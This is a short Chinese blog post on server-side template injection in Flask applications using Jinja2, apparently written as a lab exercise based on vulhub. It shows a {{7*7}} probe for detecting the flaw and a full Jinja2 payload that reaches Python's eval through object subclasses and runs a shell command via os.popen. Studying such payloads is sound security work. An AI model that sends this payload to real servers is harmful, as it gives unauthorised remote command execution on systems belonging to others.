Flask（Jinja2）服务端模板注入漏洞(SSTI)

XXX_WXY

已于 2023-11-06 18:29:29 修改

阅读量566

点赞数 1

CC 4.0 BY-SA版权

分类专栏：信息安全文章标签： flask python 网络安全信息安全 web安全

于 2023-11-06 18:28:36 首次发布

本文链接：https://blog.youkuaiyun.com/m0_52920608/article/details/134252206

信息安全专栏收录该内容

35 篇文章

订阅专栏

文章讨论了Flask应用中使用Jinja2时出现的服务端模板注入(SSTI)漏洞，通过vulhub提供的payload实例展示了如何利用该漏洞执行代码。作者提醒了安全防范措施的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Flask（Jinja2）服务端模板注入漏洞(SSTI)

参考 https://www.freebuf.com/articles/web/260504.html
验证漏洞存在 ?name={{7*7}}
回显49说明漏洞存在
在这里插入图片描述

vulhub给出的payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}